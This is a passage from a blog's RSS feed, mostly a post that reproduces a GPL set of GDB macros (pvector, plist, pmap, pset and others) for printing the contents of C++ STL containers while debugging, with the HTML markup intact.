href="http://greatwqs.iteye.com/blog/1074448">http://greatwqs.iteye.com/blog/1074448<br /></a>[2]&nbsp;<a href="https://support.eapps.com/index.php?/Knowledgebase/Article/View/254/62/cloud-hosting-applications---subversion-svn">https://support.eapps.com/index.php?/Knowledgebase/Article/View/254/62/cloud-hosting-applications---subversion-svn</a></div><img src ="http://www.blogjava.net/bacoo/aggbug/391315.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2012-11-14 14:28 <a href="http://www.blogjava.net/bacoo/archive/2012/11/14/391315.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>.gdbinit文件</title><link>http://www.blogjava.net/bacoo/archive/2012/11/07/390979.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 07 Nov 2012 09:51:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2012/11/07/390979.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/390979.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2012/11/07/390979.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/390979.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/390979.html</trackback:ping><description><![CDATA[<div># &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</div><div># &nbsp; STL GDB evaluators/views/utilities - 1.03</div><div>#</div><div># &nbsp; The new GDB commands: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div><div># <span style="white-space:pre">	</span> &nbsp; &nbsp;are entirely non instrumental &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div><div># <span style="white-space:pre">	</span> &nbsp; &nbsp;do not depend on any "inline"(s) - e.g. size(), [], etc</div><div># &nbsp; &nbsp; &nbsp; are extremely tolerant to debugger settings</div><div># &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div><div># &nbsp; This file should be "included" in .gdbinit as following:</div><div># &nbsp; source stl-views.gdb or just paste it into your .gdbinit file</div><div>#</div><div># &nbsp; The following STL containers are currently supported:</div><div>#</div><div># &nbsp; &nbsp; &nbsp; std::vector&lt;T&gt; -- via pvector command</div><div># &nbsp; &nbsp; &nbsp; std::list&lt;T&gt; -- via plist or plist_member command</div><div># &nbsp; &nbsp; &nbsp; std::map&lt;T,T&gt; -- via pmap or pmap_member command</div><div># &nbsp; &nbsp; &nbsp; std::multimap&lt;T,T&gt; -- via pmap or pmap_member command</div><div># &nbsp; &nbsp; &nbsp; std::set&lt;T&gt; -- via pset command</div><div># &nbsp; &nbsp; &nbsp; std::multiset&lt;T&gt; -- via pset command</div><div># &nbsp; &nbsp; &nbsp; std::deque&lt;T&gt; -- via pdequeue command</div><div># &nbsp; &nbsp; &nbsp; std::stack&lt;T&gt; -- via pstack command</div><div># &nbsp; &nbsp; &nbsp; std::queue&lt;T&gt; -- via pqueue command</div><div># &nbsp; &nbsp; &nbsp; std::priority_queue&lt;T&gt; -- via ppqueue command</div><div># &nbsp; &nbsp; &nbsp; std::bitset&lt;n&gt; -- via pbitset command</div><div># &nbsp; &nbsp; &nbsp; std::string -- via pstring command</div><div># &nbsp; &nbsp; &nbsp; std::widestring -- via pwstring command</div><div>#</div><div># &nbsp; The end of this file contains (optional) C++ beautifiers</div><div># &nbsp; Make sure your debugger supports $argc</div><div>#</div><div># &nbsp; Simple GDB Macros writen by Dan Marinescu (H-PhD) - License GPL</div><div># &nbsp; Inspired by intial work of Tom Malnar,&nbsp;</div><div># &nbsp; &nbsp; Tony Novac (PhD) / Cornell / Stanford,</div><div># &nbsp; &nbsp; Gilad Mishne (PhD) and Many Many Others.</div><div># &nbsp; Contact: dan_c_marinescu@yahoo.com (Subject: STL)</div><div>#</div><div># &nbsp; Modified to work with g++ 4.3 by Anders Elton</div><div># &nbsp; Also added _member functions, that instead of printing the entire class in map, prints a member.</div><div></div><div></div><div></div><div>#</div><div># std::vector&lt;&gt;</div><div>#</div><div></div><div>define pvector</div><div><span style="white-space:pre">	</span>if $argc == 0</div><div><span style="white-space:pre">		</span>help pvector</div><div><span style="white-space:pre">	</span>else</div><div><span style="white-space:pre">		</span>set $size = $arg0._M_impl._M_finish - $arg0._M_impl._M_start</div><div><span style="white-space:pre">		</span>set $capacity = $arg0._M_impl._M_end_of_storage - $arg0._M_impl._M_start</div><div><span style="white-space:pre">		</span>set $size_max = $size - 1</div><div><span style="white-space:pre">	</span>end</div><div><span style="white-space:pre">	</span>if $argc == 1</div><div><span style="white-space:pre">		</span>set $i = 0</div><div><span style="white-space:pre">		</span>while $i &lt; $size</div><div><span style="white-space:pre">			</span>printf "elem[%u]: ", $i</div><div><span style="white-space:pre">			</span>p *($arg0._M_impl._M_start + $i)</div><div><span style="white-space:pre">			</span>set $i++</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">	</span>end</div><div><span style="white-space:pre">	</span>if $argc == 2</div><div><span style="white-space:pre">		</span>set $idx = $arg1</div><div><span style="white-space:pre">		</span>if $idx &lt; 0 || $idx &gt; $size_max</div><div><span style="white-space:pre">			</span>printf "idx1, idx2 are not in acceptable range: [0..%u].\n", $size_max</div><div><span style="white-space:pre">		</span>else</div><div><span style="white-space:pre">			</span>printf "elem[%u]: ", $idx</div><div><span style="white-space:pre">			</span>p *($arg0._M_impl._M_start + $idx)</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">	</span>end</div><div><span style="white-space:pre">	</span>if $argc == 3</div><div><span style="white-space:pre">	</span> &nbsp;set $start_idx = $arg1</div><div><span style="white-space:pre">	</span> &nbsp;set $stop_idx = $arg2</div><div><span style="white-space:pre">	</span> &nbsp;if $start_idx &gt; $stop_idx</div><div><span style="white-space:pre">	</span> &nbsp; &nbsp;set $tmp_idx = $start_idx</div><div><span style="white-space:pre">	</span> &nbsp; &nbsp;set $start_idx = $stop_idx</div><div><span style="white-space:pre">	</span> &nbsp; &nbsp;set $stop_idx = $tmp_idx</div><div><span style="white-space:pre">	</span> &nbsp;end</div><div><span style="white-space:pre">	</span> &nbsp;if $start_idx &lt; 0 || $stop_idx &lt; 0 || $start_idx &gt; $size_max || $stop_idx &gt; $size_max</div><div><span style="white-space:pre">	</span> &nbsp; &nbsp;printf "idx1, idx2 are not in acceptable range: [0..%u].\n", $size_max</div><div><span style="white-space:pre">	</span> &nbsp;else</div><div><span style="white-space:pre">	</span> &nbsp; &nbsp;set $i = $start_idx</div><div><span style="white-space:pre">		</span>while $i &lt;= $stop_idx</div><div><span style="white-space:pre">			</span>printf "elem[%u]: ", $i</div><div><span style="white-space:pre">			</span>p *($arg0._M_impl._M_start + $i)</div><div><span style="white-space:pre">			</span>set $i++</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">	</span> &nbsp;end</div><div><span style="white-space:pre">	</span>end</div><div><span style="white-space:pre">	</span>if $argc &gt; 0</div><div><span style="white-space:pre">		</span>printf "Vector size = %u\n", $size</div><div><span style="white-space:pre">		</span>printf "Vector capacity = %u\n", $capacity</div><div><span style="white-space:pre">		</span>printf "Element "</div><div><span style="white-space:pre">		</span>whatis $arg0._M_impl._M_start</div><div><span style="white-space:pre">	</span>end</div><div>end</div><div></div><div>document pvector</div><div><span style="white-space:pre">	</span>Prints std::vector&lt;T&gt; information.</div><div><span style="white-space:pre">	</span>Syntax: pvector &lt;vector&gt; &lt;idx1&gt; &lt;idx2&gt;</div><div><span style="white-space:pre">	</span>Note: idx, idx1 and idx2 must be in acceptable range [0..&lt;vector&gt;.size()-1].</div><div><span style="white-space:pre">	</span>Examples:</div><div><span style="white-space:pre">	</span>pvector v - Prints vector content, size, capacity and T typedef</div><div><span style="white-space:pre">	</span>pvector v 0 - Prints element[idx] from vector</div><div><span style="white-space:pre">	</span>pvector v 1 2 - Prints elements in range [idx1..idx2] from vector</div><div>end&nbsp;</div><div></div><div>#</div><div># std::list&lt;&gt;</div><div>#</div><div></div><div>define plist</div><div><span style="white-space:pre">	</span>if $argc == 0</div><div><span style="white-space:pre">		</span>help plist</div><div><span style="white-space:pre">	</span>else</div><div><span style="white-space:pre">		</span>set $head = &amp;$arg0._M_impl._M_node</div><div><span style="white-space:pre">		</span>set $current = $arg0._M_impl._M_node._M_next</div><div><span style="white-space:pre">		</span>set $size = 0</div><div><span style="white-space:pre">		</span>while $current != $head</div><div><span style="white-space:pre">			</span>if $argc == 2</div><div><span style="white-space:pre">				</span>printf "elem[%u]: ", $size</div><div><span style="white-space:pre">				</span>p *($arg1*)($current + 1)</div><div><span style="white-space:pre">			</span>end</div><div><span style="white-space:pre">			</span>if $argc == 3</div><div><span style="white-space:pre">				</span>if $size == $arg2</div><div><span style="white-space:pre">					</span>printf "elem[%u]: ", $size</div><div><span style="white-space:pre">					</span>p *($arg1*)($current + 1)</div><div><span style="white-space:pre">				</span>end</div><div><span style="white-space:pre">			</span>end</div><div><span style="white-space:pre">			</span>set $current = $current._M_next</div><div><span style="white-space:pre">			</span>set $size++</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>printf "List size = %u \n", $size</div><div><span style="white-space:pre">		</span>if $argc == 1</div><div><span style="white-space:pre">			</span>printf "List "</div><div><span style="white-space:pre">			</span>whatis $arg0</div><div><span style="white-space:pre">			</span>printf "Use plist &lt;variable_name&gt; &lt;element_type&gt; to see the elements in the list.\n"</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">	</span>end</div><div>end</div><div></div><div>document plist</div><div><span style="white-space:pre">	</span>Prints std::list&lt;T&gt; information.</div><div><span style="white-space:pre">	</span>Syntax: plist &lt;list&gt; &lt;T&gt; &lt;idx&gt;: Prints list size, if T defined all elements or just element at idx</div><div><span style="white-space:pre">	</span>Examples:</div><div><span style="white-space:pre">	</span>plist l - prints list size and definition</div><div><span style="white-space:pre">	</span>plist l int - prints all elements and list size</div><div><span style="white-space:pre">	</span>plist l int 2 - prints the third element in the list (if exists) and list size</div><div>end</div><div></div><div>define plist_member</div><div><span style="white-space:pre">	</span>if $argc == 0</div><div><span style="white-space:pre">		</span>help plist_member</div><div><span style="white-space:pre">	</span>else</div><div><span style="white-space:pre">		</span>set $head = &amp;$arg0._M_impl._M_node</div><div><span style="white-space:pre">		</span>set $current = $arg0._M_impl._M_node._M_next</div><div><span style="white-space:pre">		</span>set $size = 0</div><div><span style="white-space:pre">		</span>while $current != $head</div><div><span style="white-space:pre">			</span>if $argc == 3</div><div><span style="white-space:pre">				</span>printf "elem[%u]: ", $size</div><div><span style="white-space:pre">				</span>p (*($arg1*)($current + 1)).$arg2</div><div><span style="white-space:pre">			</span>end</div><div><span style="white-space:pre">			</span>if $argc == 4</div><div><span style="white-space:pre">				</span>if $size == $arg3</div><div><span style="white-space:pre">					</span>printf "elem[%u]: ", $size</div><div><span style="white-space:pre">					</span>p (*($arg1*)($current + 1)).$arg2</div><div><span style="white-space:pre">				</span>end</div><div><span style="white-space:pre">			</span>end</div><div><span style="white-space:pre">			</span>set $current = $current._M_next</div><div><span style="white-space:pre">			</span>set $size++</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>printf "List size = %u \n", $size</div><div><span style="white-space:pre">		</span>if $argc == 1</div><div><span style="white-space:pre">			</span>printf "List "</div><div><span style="white-space:pre">			</span>whatis $arg0</div><div><span style="white-space:pre">			</span>printf "Use plist_member &lt;variable_name&gt; &lt;element_type&gt; &lt;member&gt; to see the elements in the list.\n"</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">	</span>end</div><div>end</div><div></div><div>document plist_member</div><div><span style="white-space:pre">	</span>Prints std::list&lt;T&gt; information.</div><div><span style="white-space:pre">	</span>Syntax: plist &lt;list&gt; &lt;T&gt; &lt;idx&gt;: Prints list size, if T defined all elements or just element at idx</div><div><span style="white-space:pre">	</span>Examples:</div><div><span style="white-space:pre">	</span>plist_member l int member - prints all elements and list size</div><div><span style="white-space:pre">	</span>plist_member l int member 2 - prints the third element in the list (if exists) and list size</div><div>end</div><div></div><div></div><div>#</div><div># std::map and std::multimap</div><div>#</div><div></div><div>define pmap</div><div><span style="white-space:pre">	</span>if $argc == 0</div><div><span style="white-space:pre">		</span>help pmap</div><div><span style="white-space:pre">	</span>else</div><div><span style="white-space:pre">		</span>set $tree = $arg0</div><div><span style="white-space:pre">		</span>set $i = 0</div><div><span style="white-space:pre">		</span>set $node = $tree._M_t._M_impl._M_header._M_left</div><div><span style="white-space:pre">		</span>set $end = $tree._M_t._M_impl._M_header</div><div><span style="white-space:pre">		</span>set $tree_size = $tree._M_t._M_impl._M_node_count</div><div><span style="white-space:pre">		</span>if $argc == 1</div><div><span style="white-space:pre">			</span>printf "Map "</div><div><span style="white-space:pre">			</span>whatis $tree</div><div><span style="white-space:pre">			</span>printf "Use pmap &lt;variable_name&gt; &lt;left_element_type&gt; &lt;right_element_type&gt; to see the elements in the map.\n"</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>if $argc == 3</div><div><span style="white-space:pre">			</span>while $i &lt; $tree_size</div><div><span style="white-space:pre">				</span>set $value = (void *)($node + 1)</div><div><span style="white-space:pre">				</span>printf "elem[%u].left: ", $i</div><div><span style="white-space:pre">				</span>p *($arg1*)$value</div><div><span style="white-space:pre">				</span>set $value = $value + sizeof($arg1)</div><div><span style="white-space:pre">				</span>printf "elem[%u].right: ", $i</div><div><span style="white-space:pre">				</span>p *($arg2*)$value</div><div><span style="white-space:pre">				</span>if $node._M_right != 0</div><div><span style="white-space:pre">					</span>set $node = $node._M_right</div><div><span style="white-space:pre">					</span>while $node._M_left != 0</div><div><span style="white-space:pre">						</span>set $node = $node._M_left</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">				</span>else</div><div><span style="white-space:pre">					</span>set $tmp_node = $node._M_parent</div><div><span style="white-space:pre">					</span>while $node == $tmp_node._M_right</div><div><span style="white-space:pre">						</span>set $node = $tmp_node</div><div><span style="white-space:pre">						</span>set $tmp_node = $tmp_node._M_parent</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">					</span>if $node._M_right != $tmp_node</div><div><span style="white-space:pre">						</span>set $node = $tmp_node</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">				</span>end</div><div><span style="white-space:pre">				</span>set $i++</div><div><span style="white-space:pre">			</span>end</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>if $argc == 4</div><div><span style="white-space:pre">			</span>set $idx = $arg3</div><div><span style="white-space:pre">			</span>set $ElementsFound = 0</div><div><span style="white-space:pre">			</span>while $i &lt; $tree_size</div><div><span style="white-space:pre">				</span>set $value = (void *)($node + 1)</div><div><span style="white-space:pre">				</span>if *($arg1*)$value == $idx</div><div><span style="white-space:pre">					</span>printf "elem[%u].left: ", $i</div><div><span style="white-space:pre">					</span>p *($arg1*)$value</div><div><span style="white-space:pre">					</span>set $value = $value + sizeof($arg1)</div><div><span style="white-space:pre">					</span>printf "elem[%u].right: ", $i</div><div><span style="white-space:pre">					</span>p *($arg2*)$value</div><div><span style="white-space:pre">					</span>set $ElementsFound++</div><div><span style="white-space:pre">				</span>end</div><div><span style="white-space:pre">				</span>if $node._M_right != 0</div><div><span style="white-space:pre">					</span>set $node = $node._M_right</div><div><span style="white-space:pre">					</span>while $node._M_left != 0</div><div><span style="white-space:pre">						</span>set $node = $node._M_left</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">				</span>else</div><div><span style="white-space:pre">					</span>set $tmp_node = $node._M_parent</div><div><span style="white-space:pre">					</span>while $node == $tmp_node._M_right</div><div><span style="white-space:pre">						</span>set $node = $tmp_node</div><div><span style="white-space:pre">						</span>set $tmp_node = $tmp_node._M_parent</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">					</span>if $node._M_right != $tmp_node</div><div><span style="white-space:pre">						</span>set $node = $tmp_node</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">				</span>end</div><div><span style="white-space:pre">				</span>set $i++</div><div><span style="white-space:pre">			</span>end</div><div><span style="white-space:pre">			</span>printf "Number of elements found = %u\n", $ElementsFound</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>if $argc == 5</div><div><span style="white-space:pre">			</span>set $idx1 = $arg3</div><div><span style="white-space:pre">			</span>set $idx2 = $arg4</div><div><span style="white-space:pre">			</span>set $ElementsFound = 0</div><div><span style="white-space:pre">			</span>while $i &lt; $tree_size</div><div><span style="white-space:pre">				</span>set $value = (void *)($node + 1)</div><div><span style="white-space:pre">				</span>set $valueLeft = *($arg1*)$value</div><div><span style="white-space:pre">				</span>set $valueRight = *($arg2*)($value + sizeof($arg1))</div><div><span style="white-space:pre">				</span>if $valueLeft == $idx1 &amp;&amp; $valueRight == $idx2</div><div><span style="white-space:pre">					</span>printf "elem[%u].left: ", $i</div><div><span style="white-space:pre">					</span>p $valueLeft</div><div><span style="white-space:pre">					</span>printf "elem[%u].right: ", $i</div><div><span style="white-space:pre">					</span>p $valueRight</div><div><span style="white-space:pre">					</span>set $ElementsFound++</div><div><span style="white-space:pre">				</span>end</div><div><span style="white-space:pre">				</span>if $node._M_right != 0</div><div><span style="white-space:pre">					</span>set $node = $node._M_right</div><div><span style="white-space:pre">					</span>while $node._M_left != 0</div><div><span style="white-space:pre">						</span>set $node = $node._M_left</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">				</span>else</div><div><span style="white-space:pre">					</span>set $tmp_node = $node._M_parent</div><div><span style="white-space:pre">					</span>while $node == $tmp_node._M_right</div><div><span style="white-space:pre">						</span>set $node = $tmp_node</div><div><span style="white-space:pre">						</span>set $tmp_node = $tmp_node._M_parent</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">					</span>if $node._M_right != $tmp_node</div><div><span style="white-space:pre">						</span>set $node = $tmp_node</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">				</span>end</div><div><span style="white-space:pre">				</span>set $i++</div><div><span style="white-space:pre">			</span>end</div><div><span style="white-space:pre">			</span>printf "Number of elements found = %u\n", $ElementsFound</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>printf "Map size = %u\n", $tree_size</div><div><span style="white-space:pre">	</span>end</div><div>end</div><div></div><div>document pmap</div><div><span style="white-space:pre">	</span>Prints std::map&lt;TLeft and TRight&gt; or std::multimap&lt;TLeft and TRight&gt; information. Works for std::multimap as well.</div><div><span style="white-space:pre">	</span>Syntax: pmap &lt;map&gt; &lt;TtypeLeft&gt; &lt;TypeRight&gt; &lt;valLeft&gt; &lt;valRight&gt;: Prints map size, if T defined all elements or just element(s) with val(s)</div><div><span style="white-space:pre">	</span>Examples:</div><div><span style="white-space:pre">	</span>pmap m - prints map size and definition</div><div><span style="white-space:pre">	</span>pmap m int int - prints all elements and map size</div><div><span style="white-space:pre">	</span>pmap m int int 20 - prints the element(s) with left-value = 20 (if any) and map size</div><div><span style="white-space:pre">	</span>pmap m int int 20 200 - prints the element(s) with left-value = 20 and right-value = 200 (if any) and map size</div><div>end</div><div></div><div></div><div>define pmap_member</div><div><span style="white-space:pre">	</span>if $argc == 0</div><div><span style="white-space:pre">		</span>help pmap_member</div><div><span style="white-space:pre">	</span>else</div><div><span style="white-space:pre">		</span>set $tree = $arg0</div><div><span style="white-space:pre">		</span>set $i = 0</div><div><span style="white-space:pre">		</span>set $node = $tree._M_t._M_impl._M_header._M_left</div><div><span style="white-space:pre">		</span>set $end = $tree._M_t._M_impl._M_header</div><div><span style="white-space:pre">		</span>set $tree_size = $tree._M_t._M_impl._M_node_count</div><div><span style="white-space:pre">		</span>if $argc == 1</div><div><span style="white-space:pre">			</span>printf "Map "</div><div><span style="white-space:pre">			</span>whatis $tree</div><div><span style="white-space:pre">			</span>printf "Use pmap &lt;variable_name&gt; &lt;left_element_type&gt; &lt;right_element_type&gt; to see the elements in the map.\n"</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>if $argc == 5</div><div><span style="white-space:pre">			</span>while $i &lt; $tree_size</div><div><span style="white-space:pre">				</span>set $value = (void *)($node + 1)</div><div><span style="white-space:pre">				</span>printf "elem[%u].left: ", $i</div><div><span style="white-space:pre">				</span>p (*($arg1*)$value).$arg2</div><div><span style="white-space:pre">				</span>set $value = $value + sizeof($arg1)</div><div><span style="white-space:pre">				</span>printf "elem[%u].right: ", $i</div><div><span style="white-space:pre">				</span>p (*($arg3*)$value).$arg4</div><div><span style="white-space:pre">				</span>if $node._M_right != 0</div><div><span style="white-space:pre">					</span>set $node = $node._M_right</div><div><span style="white-space:pre">					</span>while $node._M_left != 0</div><div><span style="white-space:pre">						</span>set $node = $node._M_left</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">				</span>else</div><div><span style="white-space:pre">					</span>set $tmp_node = $node._M_parent</div><div><span style="white-space:pre">					</span>while $node == $tmp_node._M_right</div><div><span style="white-space:pre">						</span>set $node = $tmp_node</div><div><span style="white-space:pre">						</span>set $tmp_node = $tmp_node._M_parent</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">					</span>if $node._M_right != $tmp_node</div><div><span style="white-space:pre">						</span>set $node = $tmp_node</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">				</span>end</div><div><span style="white-space:pre">				</span>set $i++</div><div><span style="white-space:pre">			</span>end</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>if $argc == 6</div><div><span style="white-space:pre">			</span>set $idx = $arg5</div><div><span style="white-space:pre">			</span>set $ElementsFound = 0</div><div><span style="white-space:pre">			</span>while $i &lt; $tree_size</div><div><span style="white-space:pre">				</span>set $value = (void *)($node + 1)</div><div><span style="white-space:pre">				</span>if *($arg1*)$value == $idx</div><div><span style="white-space:pre">					</span>printf "elem[%u].left: ", $i</div><div><span style="white-space:pre">					</span>p (*($arg1*)$value).$arg2</div><div><span style="white-space:pre">					</span>set $value = $value + sizeof($arg1)</div><div><span style="white-space:pre">					</span>printf "elem[%u].right: ", $i</div><div><span style="white-space:pre">					</span>p (*($arg3*)$value).$arg4</div><div><span style="white-space:pre">					</span>set $ElementsFound++</div><div><span style="white-space:pre">				</span>end</div><div><span style="white-space:pre">				</span>if $node._M_right != 0</div><div><span style="white-space:pre">					</span>set $node = $node._M_right</div><div><span style="white-space:pre">					</span>while $node._M_left != 0</div><div><span style="white-space:pre">						</span>set $node = $node._M_left</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">				</span>else</div><div><span style="white-space:pre">					</span>set $tmp_node = $node._M_parent</div><div><span style="white-space:pre">					</span>while $node == $tmp_node._M_right</div><div><span style="white-space:pre">						</span>set $node = $tmp_node</div><div><span style="white-space:pre">						</span>set $tmp_node = $tmp_node._M_parent</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">					</span>if $node._M_right != $tmp_node</div><div><span style="white-space:pre">						</span>set $node = $tmp_node</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">				</span>end</div><div><span style="white-space:pre">				</span>set $i++</div><div><span style="white-space:pre">			</span>end</div><div><span style="white-space:pre">			</span>printf "Number of elements found = %u\n", $ElementsFound</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>printf "Map size = %u\n", $tree_size</div><div><span style="white-space:pre">	</span>end</div><div>end</div><div></div><div>document pmap_member</div><div><span style="white-space:pre">	</span>Prints std::map&lt;TLeft and TRight&gt; or std::multimap&lt;TLeft and TRight&gt; information. Works for std::multimap as well.</div><div><span style="white-space:pre">	</span>Syntax: pmap &lt;map&gt; &lt;TtypeLeft&gt; &lt;TypeRight&gt; &lt;valLeft&gt; &lt;valRight&gt;: Prints map size, if T defined all elements or just element(s) with val(s)</div><div><span style="white-space:pre">	</span>Examples:</div><div><span style="white-space:pre">	</span>pmap_member m class1 member1 class2 member2 - prints class1.member1 : class2.member2</div><div><span style="white-space:pre">	</span>pmap_member m class1 member1 class2 member2 lvalue - prints class1.member1 : class2.member2 where class1 == lvalue</div><div>end</div><div></div><div></div><div>#</div><div># std::set and std::multiset</div><div>#</div><div></div><div>define pset</div><div><span style="white-space:pre">	</span>if $argc == 0</div><div><span style="white-space:pre">		</span>help pset</div><div><span style="white-space:pre">	</span>else</div><div><span style="white-space:pre">		</span>set $tree = $arg0</div><div><span style="white-space:pre">		</span>set $i = 0</div><div><span style="white-space:pre">		</span>set $node = $tree._M_t._M_impl._M_header._M_left</div><div><span style="white-space:pre">		</span>set $end = $tree._M_t._M_impl._M_header</div><div><span style="white-space:pre">		</span>set $tree_size = $tree._M_t._M_impl._M_node_count</div><div><span style="white-space:pre">		</span>if $argc == 1</div><div><span style="white-space:pre">			</span>printf "Set "</div><div><span style="white-space:pre">			</span>whatis $tree</div><div><span style="white-space:pre">			</span>printf "Use pset &lt;variable_name&gt; &lt;element_type&gt; to see the elements in the set.\n"</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>if $argc == 2</div><div><span style="white-space:pre">			</span>while $i &lt; $tree_size</div><div><span style="white-space:pre">				</span>set $value = (void *)($node + 1)</div><div><span style="white-space:pre">				</span>printf "elem[%u]: ", $i</div><div><span style="white-space:pre">				</span>p *($arg1*)$value</div><div><span style="white-space:pre">				</span>if $node._M_right != 0</div><div><span style="white-space:pre">					</span>set $node = $node._M_right</div><div><span style="white-space:pre">					</span>while $node._M_left != 0</div><div><span style="white-space:pre">						</span>set $node = $node._M_left</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">				</span>else</div><div><span style="white-space:pre">					</span>set $tmp_node = $node._M_parent</div><div><span style="white-space:pre">					</span>while $node == $tmp_node._M_right</div><div><span style="white-space:pre">						</span>set $node = $tmp_node</div><div><span style="white-space:pre">						</span>set $tmp_node = $tmp_node._M_parent</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">					</span>if $node._M_right != $tmp_node</div><div><span style="white-space:pre">						</span>set $node = $tmp_node</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">				</span>end</div><div><span style="white-space:pre">				</span>set $i++</div><div><span style="white-space:pre">			</span>end</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>if $argc == 3</div><div><span style="white-space:pre">			</span>set $idx = $arg2</div><div><span style="white-space:pre">			</span>set $ElementsFound = 0</div><div><span style="white-space:pre">			</span>while $i &lt; $tree_size</div><div><span style="white-space:pre">				</span>set $value = (void *)($node + 1)</div><div><span style="white-space:pre">				</span>if *($arg1*)$value == $idx</div><div><span style="white-space:pre">					</span>printf "elem[%u]: ", $i</div><div><span style="white-space:pre">					</span>p *($arg1*)$value</div><div><span style="white-space:pre">					</span>set $ElementsFound++</div><div><span style="white-space:pre">				</span>end</div><div><span style="white-space:pre">				</span>if $node._M_right != 0</div><div><span style="white-space:pre">					</span>set $node = $node._M_right</div><div><span style="white-space:pre">					</span>while $node._M_left != 0</div><div><span style="white-space:pre">						</span>set $node = $node._M_left</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">				</span>else</div><div><span style="white-space:pre">					</span>set $tmp_node = $node._M_parent</div><div><span style="white-space:pre">					</span>while $node == $tmp_node._M_right</div><div><span style="white-space:pre">						</span>set $node = $tmp_node</div><div><span style="white-space:pre">						</span>set $tmp_node = $tmp_node._M_parent</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">					</span>if $node._M_right != $tmp_node</div><div><span style="white-space:pre">						</span>set $node = $tmp_node</div><div><span style="white-space:pre">					</span>end</div><div><span style="white-space:pre">				</span>end</div><div><span style="white-space:pre">				</span>set $i++</div><div><span style="white-space:pre">			</span>end</div><div><span style="white-space:pre">			</span>printf "Number of elements found = %u\n", $ElementsFound</div><div><span style="white-space:pre">		</span>end</div><div><span style="white-space:pre">		</span>printf "Set size = %u\n", $tree_size</div><div><span style="white-space:pre">	</span>end</div><div>end</div><div></div><div>document pset</div><div><span style="white-space:pre">	</span>Prints std::set&lt;T&gt; or std::multiset&lt;T&gt; information. Works for std::multiset as well.</div><div><span style="white-space:pre">	</span>Syntax: pset &lt;set&gt; &lt;T&gt; &lt;val&gt;: Prints set size, if T defined all elements or just element(s) having 